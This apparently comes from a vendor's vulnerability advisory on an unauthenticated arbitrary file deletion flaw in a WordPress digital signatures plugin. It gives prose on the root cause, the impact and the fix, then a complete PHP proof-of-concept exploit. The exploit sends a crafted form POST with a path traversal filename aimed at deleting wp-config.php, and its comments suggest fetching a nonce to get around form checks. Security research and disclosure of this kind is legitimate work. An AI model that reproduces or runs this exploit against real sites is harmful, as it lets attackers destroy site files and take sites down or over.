Atomic Edge analysis of CVE-2026-16230 (metadata-based):
This vulnerability allows unauthenticated attackers to delete arbitrary files on the WordPress server through the Formidable Digital Signatures plugin, version 3.0.6 and earlier. The flaw resides in the delete_file function, which fails to validate file paths properly. With a CVSS score of 9.8, the vulnerability has critical severity, and the CWE classification of Relative Path Traversal (CWE-23) indicates that directory traversal sequences can be used to escape the intended upload directory.
The root cause is insufficient validation of the filename parameter before it is used in a file deletion operation. The delete_file function likely receives the file name directly from user input without checking for path traversal characters such as ‘../’ or absolute paths. This conclusion is inferred from the CWE classification and the vulnerability description, as no source code diff is available. The vulnerable code path is triggered during the standard entry-creation POST flow on forms that allow anonymous submissions. The plugin processes the ‘item_meta[field_id][content]’ parameter, which contains the file name, and the ‘delete_saved_image’ flag, which initiates the deletion.
To exploit this vulnerability, an attacker submits a POST request to the standard WordPress form handling endpoint (typically the same URL as the form’s action or the admin-post.php endpoint). The request includes a valid ‘item_meta’ structure for a signature field. The ‘content’ sub-parameter contains a crafted relative path, such as ‘../../../wp-config.php’, and the ‘delete_saved_image’ flag is set to ‘1’. The plugin’s delete_file function then uses this path, possibly with ‘unlink()’ or ‘$wp_filesystem->delete()’, leading to file deletion. No authentication or nonce is required because the form processing is designed for anonymous submissions and the deletion function does not enforce additional access controls.
To remediate this vulnerability, the plugin must implement strict validation of the file name before deletion. The fix should ensure that only the basename of the file is used, reject any path traversal sequences, and verify that the resulting path stays within the designated upload directory. The replacement should use functions like ‘sanitize_file_name()’ or ‘wp_basename()’ to extract the filename, and then validate the full path against an allowed directory. Additionally, the deletion operation should be restricted to files that were previously uploaded by the same submission, ideally by storing metadata and checking the file’s association.
Successful exploitation allows an unauthenticated attacker to delete arbitrary files on the server. This includes core WordPress files, plugin and theme files, or configuration files such as wp-config.php, which can lead to complete site defacement, denial of service, or site takeover. In a multi-site environment, the impact could extend to other sites on the same server depending on file permissions. The high availability and integrity impact aligns with the CVSS score of 9.8.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-16230 - Formidable Digital Signatures <= 3.0.6 - Unauthenticated Arbitrary File Deletion via Signature Field
// This PoC demonstrates how an unauthenticated attacker can trigger file deletion
// by submitting a crafted form entry with a path traversal payload.
// No authentication or valid nonce is required because the plugin processes
// anonymous form submissions without adequate authorization checks.
/**
* CVE-2026-16230 PoC - Unauthenticated Arbitrary File Deletion
*
* This script sends a multipart POST request to the WordPress site's form handler
* with a crafted item_meta field that includes a path traversal filename.
* Adjust the variables below to match your target environment.
*/
// --- CONFIGURATION ---
$target_url = 'https://example.com/wp-admin/admin-post.php'; // Replace with the form processing endpoint
// The form page URL where the plugin is installed (used to extract the nonce and form ID)
$form_page_url = 'https://example.com/sample-form/';
// The WordPress admin-post action that processes form submissions (if applicable)
// This may vary depending on the plugin's implementation; common choices include 'frm_submit_entry'.
$action = 'frm_submit_entry';
// The ID of the signature field in the form (replace with an actual field ID from the target)
$field_id = 5;
// The form ID (usually found in the hidden form_html field or the POST data)
$form_id = 23;
// Path traversal payload to delete a critical file (e.g., wp-config.php)
// The traversal depth depends on the upload directory structure; adjust as needed.
$traversal_filename = '../../../../wp-config.php';
// --- INITIALIZE CURL ---
$ch = curl_init();
// Set common options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable only for testing
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Set a user-agent to mimic a browser
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
// Build the POST body
// The parameter structure follows the vulnerable plugin's signature field handling.
$post_data = array(
'form_id' => $form_id,
'item_meta' => array(
$field_id => array(
'content' => $traversal_filename,
'delete_saved_image' => '1'
)
)
// Additional required fields (e.g., form_hidden, nonce) may be needed;
// this PoC assumes the deletion endpoint lacks proper nonce checks.
);
// Encode the item_meta array as PHP-style POST data
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
// Optionally include a nonce if the form requires one; otherwise the request may be rejected.
// To bypass, you may first fetch the form page to extract a valid nonce and form ID.
// --- SEND EXPLOIT FIRST ---
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
exit(1);
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Status: $http_coden";
if ($http_code === 200) {
echo "Exploit request completed. Check if the target file was deleted.n";
} else {
echo "Unexpected response. The exploit may have failed.n";
}
curl_close($ch);
?>
